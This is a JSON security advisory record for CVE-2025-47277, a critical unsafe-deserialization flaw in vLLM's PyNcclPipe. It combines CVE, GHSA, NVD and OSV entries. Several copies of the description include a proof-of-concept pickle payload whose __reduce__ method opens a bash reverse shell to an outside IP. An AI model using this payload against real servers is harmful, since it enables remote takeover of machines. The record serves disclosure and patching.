{"id":"CVE-2025-47277","aliases":["EUVD-2025-15950","GHSA-hjq4-87xh-g4fv","PYSEC-2026-567"],"status":"published","title":"vLLM Allows Remote Code Execution via PyNcclPipe Communication Service","description":"vLLM, an inference and serving engine for large language models (LLMs), has an issue in versions 0.6.5 through 0.8.4 that ONLY impacts environments using the `PyNcclPipe` KV cache transfer integration with the V0 engine. No other configurations are affected. vLLM supports the use of the `PyNcclPipe` class to establish a peer-to-peer communication domain for data transmission between distributed nodes. The GPU-side KV-Cache transmission is implemented through the `PyNcclCommunicator` class, while CPU-side control message passing is handled via the `send_obj` and `recv_obj` methods on the CPU side.​ The intention was that this interface should only be exposed to a private network using the IP address specified by the `--kv-ip` CLI parameter. The vLLM documentation covers how this must be limited to a secured network. The default and intentional behavior from PyTorch is that the `TCPStore` interface listens on ALL interfaces, regardless of what IP address is provided. The IP address given was only used as a client-side address to use. vLLM was fixed to use a workaround to force the `TCPStore` instance to bind its socket to a specified private interface. As of version 0.8.5, vLLM limits the `TCPStore` socket to the private interface as configured.","severity":{"version":"3.1","score":9.8,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H","level":"critical","assessor":"cna","from":"cve"},"epss":{"day":"2026-11-11","score":0.00964,"percentile":0.62098,"model":"v2026.06.15"},"facts":{"in_kev":false,"known_exploited":false,"public_exploit":false,"fix_available":true},"cwes":["CWE-502"],"published":"2025-05-20T17:32:27Z","modified":"2026-10-28T02:30:25Z","fixes":[{"ecosystem":"PyPI","package":"vllm","fixed_in":["0.8.5"],"sources":["ghsa","osv"]}],"affected":[{"source":"ghsa","ecosystem":"PyPI","package":"vllm","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0.6.5"},{"fixed":"0.8.5"}]}]},{"source":"osv","ecosystem":"PyPI","package":"vllm","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0.6.5"},{"fixed":"0.8.5"}]}],"versions":["0.6.5","0.6.6","0.6.6.post1","0.7.0","0.7.1","0.7.2","0.7.3","0.8.0","0.8.1","0.8.2","0.8.3","0.8.4"]},{"source":"osv","ecosystem":"PyPI","package":"vllm","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0.6.5"},{"fixed":"0.8.5"}]}],"versions":["0.6.5","0.6.6","0.6.6.post1","0.7.0","0.7.1","0.7.2","0.7.3","0.8.0","0.8.1","0.8.2","0.8.3","0.8.4"]}],"products":[{"vendor":"vllm","product":"vllm"},{"vendor":"vllm-project","product":"vllm"}],"references":[{"url":"https://github.com/vllm-project/vllm/security/advisories/GHSA-hjq4-87xh-g4fv","tags":["x_refsource_CONFIRM","Exploit","Vendor Advisory","advisory","web"]},{"url":"https://github.com/vllm-project/vllm/pull/15988","tags":["x_refsource_MISC","Issue Tracking","Patch","fix","web"]},{"url":"https://github.com/vllm-project/vllm/commit/0d6e187e88874c39cda7409cf673f9e6546893e7","tags":["x_refsource_MISC","Patch","fix","web"]},{"url":"https://docs.vllm.ai/en/latest/deployment/security.html","tags":["x_refsource_MISC","Technical Description","web"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2025-47277","tags":["advisory"]},{"url":"https://github.com/advisories/GHSA-hjq4-87xh-g4fv","tags":["advisory"]},{"url":"https://github.com/pypa/advisory-database/tree/main/vulns/vllm/PYSEC-2026-567.yaml","tags":["web"]},{"url":"https://github.com/vllm-project/vllm","tags":["package"]},{"url":"https://pypi.org/project/vllm","tags":["web","package"]},{"url":"https://github.com/CVEProject/cvelistV5/tree/main/cves/2025/47xxx/CVE-2025-47277.json","tags":["advisory"]}],"sources":{"cve":[{"id":"CVE-2025-47277","title":"vLLM Allows Remote Code Execution via PyNcclPipe Communication Service","description":"vLLM, an inference and serving engine for large language models (LLMs), has an issue in versions 0.6.5 through 0.8.4 that ONLY impacts environments using the `PyNcclPipe` KV cache transfer integration with the V0 engine. No other configurations are affected. vLLM supports the use of the `PyNcclPipe` class to establish a peer-to-peer communication domain for data transmission between distributed nodes. The GPU-side KV-Cache transmission is implemented through the `PyNcclCommunicator` class, while CPU-side control message passing is handled via the `send_obj` and `recv_obj` methods on the CPU side.​ The intention was that this interface should only be exposed to a private network using the IP address specified by the `--kv-ip` CLI parameter. The vLLM documentation covers how this must be limited to a secured network. The default and intentional behavior from PyTorch is that the `TCPStore` interface listens on ALL interfaces, regardless of what IP address is provided. The IP address given was only used as a client-side address to use. vLLM was fixed to use a workaround to force the `TCPStore` instance to bind its socket to a specified private interface. As of version 0.8.5, vLLM limits the `TCPStore` socket to the private interface as configured.","status":"published","published":"2025-05-20T17:32:27.034Z","modified":"2025-05-20T17:52:31.274Z","cvss":[{"version":"3.1","score":9.8,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H","level":"critical","assessor":"cna"}],"cwes":["CWE-502"],"updated_at":"2026-11-02T14:32:25.982948Z"}],"euvd":[{"id":"EUVD-2025-15950","description":"vLLM, an inference and serving engine for large language models (LLMs), has an issue in versions 0.6.5 through 0.8.4 that ONLY impacts environments using the `PyNcclPipe` KV cache transfer integration with the V0 engine. No other configurations are affected. vLLM supports the use of the `PyNcclPipe` class to establish a peer-to-peer communication domain for data transmission between distributed nodes. The GPU-side KV-Cache transmission is implemented through the `PyNcclCommunicator` class, while CPU-side control message passing is handled via the `send_obj` and `recv_obj` methods on the CPU side.​ The intention was that this interface should only be exposed to a private network using the IP address specified by the `--kv-ip` CLI parameter. The vLLM documentation covers how this must be limited to a secured network. The default and intentional behavior from PyTorch is that the `TCPStore` interface listens on ALL interfaces, regardless of what IP address is provided. The IP address given was only used as a client-side address to use. vLLM was fixed to use a workaround to force the `TCPStore` instance to bind its socket to a specified private interface. As of version 0.8.5, vLLM limits the `TCPStore` socket to the private interface as configured.","status":"published","published":"2025-05-20T17:32:27Z","modified":"2025-05-20T17:52:31Z","cvss":[{"version":"3.1","score":9.8,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H","level":"critical"}],"updated_at":"2026-11-02T20:32:42.960442Z"}],"ghsa":[{"id":"GHSA-hjq4-87xh-g4fv","title":"vLLM Allows Remote Code Execution via PyNcclPipe Communication Service","description":"### Impacted Environments\n\nThis issue ONLY impacts environments using the `PyNcclPipe` KV cache transfer integration with the V0 engine. No other configurations are affected.\n\n### Summary\nvLLM supports the use of the `PyNcclPipe` class to establish a peer-to-peer communication domain for data transmission between distributed nodes. The GPU-side KV-Cache transmission is implemented through the `PyNcclCommunicator` class, while CPU-side control message passing is handled via the `send_obj` and `recv_obj` methods on the CPU side.​ \n\nA remote code execution vulnerability exists in the `PyNcclPipe` service. Attackers can exploit this by sending malicious serialized data to gain server control privileges. \n\nThe intention was that this interface should only be exposed to a private network using the IP address specified by the `--kv-ip` CLI parameter. The vLLM documentation covers how this must be limited to a secured network: https://docs.vllm.ai/en/latest/deployment/security.html\n\nUnfortunately, the default behavior from PyTorch is that the `TCPStore` interface will listen on ALL interfaces, regardless of what IP address is provided. The IP address given was only used as a client-side address to use. vLLM was fixed to use a workaround to force the `TCPStore` instance to bind its socket to a specified private interface.\n\nThis issue was reported privately to PyTorch and they determined that this behavior was intentional.\n\n### Details\nThe `PyNcclPipe`  implementation contains a critical security flaw where it directly processes client-provided data using `pickle.loads`  , creating an unsafe deserialization vulnerability that can lead to ​Remote Code Execution.\n\n1. Deploy a `PyNcclPipe` service configured to listen on port `18888` when launched:\n```python\nfrom vllm.distributed.kv_transfer.kv_pipe.pynccl_pipe import PyNcclPipe\nfrom vllm.config import KVTransferConfig\n\nconfig=KVTransferConfig(\n    kv_ip=\"0.0.0.0\",\n    kv_port=18888,\n    kv_rank=0,\n    kv_parallel_size=1,\n    kv_buffer_size=1024,\n    kv_buffer_device=\"cpu\"\n)\n\np=PyNcclPipe(config=config,local_rank=0)\np.recv_tensor() # Receive data\n```\n\n2. The attacker crafts malicious packets and sends them to the `PyNcclPipe` service:\n\n```python\nfrom vllm.distributed.utils import StatelessProcessGroup\n\nclass Evil:\n    def __reduce__(self):\n        import os\n        cmd='/bin/bash -c \"bash -i \u003e\u0026 /dev/tcp/172.28.176.1/8888 0\u003e\u00261\"'\n        return (os.system,(cmd,))\n\nclient = StatelessProcessGroup.create(\n    host='172.17.0.1',\n    port=18888,\n    rank=1,\n    world_size=2,\n)\n\nclient.send_obj(obj=Evil(),dst=0)\n```\n\nThe call stack triggering ​RCE is as follows:\n\n```\nvllm.distributed.kv_transfer.kv_pipe.pynccl_pipe.PyNcclPipe._recv_impl\n\t-\u003e vllm.distributed.kv_transfer.kv_pipe.pynccl_pipe.PyNcclPipe._recv_metadata\n\t\t-\u003e vllm.distributed.utils.StatelessProcessGroup.recv_obj\n\t\t\t-\u003e pickle.loads \n```\n\nGetshell as follows: \n\n![image](https://github.com/user-attachments/assets/487746ee-3b77-4e4d-99cc-d1ca08431215)\n\n### Reporters\n\nThis issue was reported independently by three different parties:\n\n* @kikayli (Zhuque Lab, Tencent)\n* @omjeki\n* Russell Bryant (@russellb)\n\n### Fix\n\n* https://github.com/vllm-project/vllm/pull/15988 -- vLLM now limits the `TCPStore` socket to the private interface as configured.","status":"published","published":"2025-05-20T18:04:30Z","modified":"2026-07-17T16:14:27Z","cvss":[{"version":"3.1","score":9.8,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H","level":"critical"}],"cwes":["CWE-502"],"updated_at":"2026-11-02T14:40:44.915484Z"}],"nvd":[{"id":"CVE-2025-47277","description":"vLLM, an inference and serving engine for large language models (LLMs), has an issue in versions 0.6.5 through 0.8.4 that ONLY impacts environments using the `PyNcclPipe` KV cache transfer integration with the V0 engine. No other configurations are affected. vLLM supports the use of the `PyNcclPipe` class to establish a peer-to-peer communication domain for data transmission between distributed nodes. The GPU-side KV-Cache transmission is implemented through the `PyNcclCommunicator` class, while CPU-side control message passing is handled via the `send_obj` and `recv_obj` methods on the CPU side.​ The intention was that this interface should only be exposed to a private network using the IP address specified by the `--kv-ip` CLI parameter. The vLLM documentation covers how this must be limited to a secured network. The default and intentional behavior from PyTorch is that the `TCPStore` interface listens on ALL interfaces, regardless of what IP address is provided. The IP address given was only used as a client-side address to use. vLLM was fixed to use a workaround to force the `TCPStore` instance to bind its socket to a specified private interface. As of version 0.8.5, vLLM limits the `TCPStore` socket to the private interface as configured.","status":"published","published":"2025-05-20T18:15:46.73Z","modified":"2026-06-17T09:27:39.253Z","cvss":[{"version":"3.1","score":9.8,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H","level":"critical","assessor":"secondary"}],"cwes":["CWE-502"],"updated_at":"2026-11-02T14:11:09.125937Z"}],"osv":[{"id":"CVE-2025-47277","title":"vLLM Allows Remote Code Execution via PyNcclPipe Communication Service","description":"vLLM, an inference and serving engine for large language models (LLMs), has an issue in versions 0.6.5 through 0.8.4 that ONLY impacts environments using the `PyNcclPipe` KV cache transfer integration with the V0 engine. No other configurations are affected. vLLM supports the use of the `PyNcclPipe` class to establish a peer-to-peer communication domain for data transmission between distributed nodes. The GPU-side KV-Cache transmission is implemented through the `PyNcclCommunicator` class, while CPU-side control message passing is handled via the `send_obj` and `recv_obj` methods on the CPU side.​ The intention was that this interface should only be exposed to a private network using the IP address specified by the `--kv-ip` CLI parameter. The vLLM documentation covers how this must be limited to a secured network. The default and intentional behavior from PyTorch is that the `TCPStore` interface listens on ALL interfaces, regardless of what IP address is provided. The IP address given was only used as a client-side address to use. vLLM was fixed to use a workaround to force the `TCPStore` instance to bind its socket to a specified private interface. As of version 0.8.5, vLLM limits the `TCPStore` socket to the private interface as configured.","status":"published","published":"2025-05-20T17:32:27.034Z","modified":"2026-10-28T02:30:25.949609976Z","cvss":[{"version":"3.1","score":9.8,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H","level":"critical"}],"cwes":["CWE-502"],"updated_at":"2026-11-02T15:44:49.707645Z"},{"id":"GHSA-hjq4-87xh-g4fv","title":"vLLM Allows Remote Code Execution via PyNcclPipe Communication Service","description":"### Impacted Environments\n\nThis issue ONLY impacts environments using the `PyNcclPipe` KV cache transfer integration with the V0 engine. No other configurations are affected.\n\n### Summary\nvLLM supports the use of the `PyNcclPipe` class to establish a peer-to-peer communication domain for data transmission between distributed nodes. The GPU-side KV-Cache transmission is implemented through the `PyNcclCommunicator` class, while CPU-side control message passing is handled via the `send_obj` and `recv_obj` methods on the CPU side.​ \n\nA remote code execution vulnerability exists in the `PyNcclPipe` service. Attackers can exploit this by sending malicious serialized data to gain server control privileges. \n\nThe intention was that this interface should only be exposed to a private network using the IP address specified by the `--kv-ip` CLI parameter. The vLLM documentation covers how this must be limited to a secured network: https://docs.vllm.ai/en/latest/deployment/security.html\n\nUnfortunately, the default behavior from PyTorch is that the `TCPStore` interface will listen on ALL interfaces, regardless of what IP address is provided. The IP address given was only used as a client-side address to use. vLLM was fixed to use a workaround to force the `TCPStore` instance to bind its socket to a specified private interface.\n\nThis issue was reported privately to PyTorch and they determined that this behavior was intentional.\n\n### Details\nThe `PyNcclPipe`  implementation contains a critical security flaw where it directly processes client-provided data using `pickle.loads`  , creating an unsafe deserialization vulnerability that can lead to ​Remote Code Execution.\n\n1. Deploy a `PyNcclPipe` service configured to listen on port `18888` when launched:\n```python\nfrom vllm.distributed.kv_transfer.kv_pipe.pynccl_pipe import PyNcclPipe\nfrom vllm.config import KVTransferConfig\n\nconfig=KVTransferConfig(\n    kv_ip=\"0.0.0.0\",\n    kv_port=18888,\n    kv_rank=0,\n    kv_parallel_size=1,\n    kv_buffer_size=1024,\n    kv_buffer_device=\"cpu\"\n)\n\np=PyNcclPipe(config=config,local_rank=0)\np.recv_tensor() # Receive data\n```\n\n2. The attacker crafts malicious packets and sends them to the `PyNcclPipe` service:\n\n```python\nfrom vllm.distributed.utils import StatelessProcessGroup\n\nclass Evil:\n    def __reduce__(self):\n        import os\n        cmd='/bin/bash -c \"bash -i \u003e\u0026 /dev/tcp/172.28.176.1/8888 0\u003e\u00261\"'\n        return (os.system,(cmd,))\n\nclient = StatelessProcessGroup.create(\n    host='172.17.0.1',\n    port=18888,\n    rank=1,\n    world_size=2,\n)\n\nclient.send_obj(obj=Evil(),dst=0)\n```\n\nThe call stack triggering ​RCE is as follows:\n\n```\nvllm.distributed.kv_transfer.kv_pipe.pynccl_pipe.PyNcclPipe._recv_impl\n\t-\u003e vllm.distributed.kv_transfer.kv_pipe.pynccl_pipe.PyNcclPipe._recv_metadata\n\t\t-\u003e vllm.distributed.utils.StatelessProcessGroup.recv_obj\n\t\t\t-\u003e pickle.loads \n```\n\nGetshell as follows: \n\n![image](https://github.com/user-attachments/assets/487746ee-3b77-4e4d-99cc-d1ca08431215)\n\n### Reporters\n\nThis issue was reported independently by three different parties:\n\n* @kikayli (Zhuque Lab, Tencent)\n* @omjeki\n* Russell Bryant (@russellb)\n\n### Fix\n\n* https://github.com/vllm-project/vllm/pull/15988 -- vLLM now limits the `TCPStore` socket to the private interface as configured.","status":"published","published":"2025-05-20T18:04:30Z","modified":"2026-08-07T08:12:11.894773937Z","cvss":[{"version":"3.1","score":9.8,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H","level":"critical"}],"cwes":["CWE-502"],"updated_at":"2026-11-02T15:46:49.28217Z"},{"id":"PYSEC-2026-567","title":"vLLM Allows Remote Code Execution via PyNcclPipe Communication Service","description":"### Impacted Environments\n\nThis issue ONLY impacts environments using the `PyNcclPipe` KV cache transfer integration with the V0 engine. No other configurations are affected.\n\n### Summary\nvLLM supports the use of the `PyNcclPipe` class to establish a peer-to-peer communication domain for data transmission between distributed nodes. The GPU-side KV-Cache transmission is implemented through the `PyNcclCommunicator` class, while CPU-side control message passing is handled via the `send_obj` and `recv_obj` methods on the CPU side.​ \n\nA remote code execution vulnerability exists in the `PyNcclPipe` service. Attackers can exploit this by sending malicious serialized data to gain server control privileges. \n\nThe intention was that this interface should only be exposed to a private network using the IP address specified by the `--kv-ip` CLI parameter. The vLLM documentation covers how this must be limited to a secured network: https://docs.vllm.ai/en/latest/deployment/security.html\n\nUnfortunately, the default behavior from PyTorch is that the `TCPStore` interface will listen on ALL interfaces, regardless of what IP address is provided. The IP address given was only used as a client-side address to use. vLLM was fixed to use a workaround to force the `TCPStore` instance to bind its socket to a specified private interface.\n \nThis issue was reported privately to PyTorch and they determined that this behavior was intentional.\n\n### Details\nThe `PyNcclPipe`  implementation contains a critical security flaw where it directly processes client-provided data using `pickle.loads`  , creating an unsafe deserialization vulnerability that can lead to ​Remote Code Execution.\n\n1. Deploy a `PyNcclPipe` service configured to listen on port `18888` when launched:\n```python\nfrom vllm.distributed.kv_transfer.kv_pipe.pynccl_pipe import PyNcclPipe\nfrom vllm.config import KVTransferConfig\n\nconfig=KVTransferConfig(\n    kv_ip=\"0.0.0.0\",\n    kv_port=18888,\n    kv_rank=0,\n    kv_parallel_size=1,\n    kv_buffer_size=1024,\n    kv_buffer_device=\"cpu\"\n)\n\np=PyNcclPipe(config=config,local_rank=0)\n p.recv_tensor() # Receive data\n```\n\n2. The attacker crafts malicious packets and sends them to the `PyNcclPipe` service:\n\n```python\nfrom vllm.distributed.utils import StatelessProcessGroup\n\nclass Evil:\n    def __reduce__(self):\n        import os\n        cmd='/bin/bash -c \"bash -i \u003e\u0026 /dev/tcp/172.28.176.1/8888 0\u003e\u00261\"'\n        return (os.system,(cmd,))\n\nclient = StatelessProcessGroup.create(\n    host='172.17.0.1',\n    port=18888,\n    rank=1,\n    world_size=2,\n)\n\n client.send_obj(obj=Evil(),dst=0)\n```\n\nThe call stack triggering ​RCE is as follows:\n \n```\nvllm.distributed.kv_transfer.kv_pipe.pynccl_pipe.PyNcclPipe._recv_impl\n\t -\u003e vllm.distributed.kv_transfer.kv_pipe.pynccl_pipe.PyNcclPipe._recv_metadata\n\t \t-\u003e vllm.distributed.utils.StatelessProcessGroup.recv_obj\n\t\t\t-\u003e pickle.loads \n```\n\nGetshell as follows: \n\n![image](https://github.com/user-attachments/assets/487746ee-3b77-4e4d-99cc-d1ca08431215)\n \n### Reporters\n\nThis issue was reported independently by three different parties:\n \n* @kikayli (Zhuque Lab, Tencent)\n* @omjeki\n* Russell Bryant (@russellb)\n\n ### Fix\n\n* https://github.com/vllm-project/vllm/pull/15988 -- vLLM now limits the `TCPStore` socket to the private interface as configured.","status":"published","published":"2026-06-29T11:50:35.995027Z","modified":"2026-07-01T20:23:11.300418Z","cvss":[{"version":"3.1","score":9.8,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H","level":"critical"}],"updated_at":"2026-11-02T15:52:57.671918Z"}]}}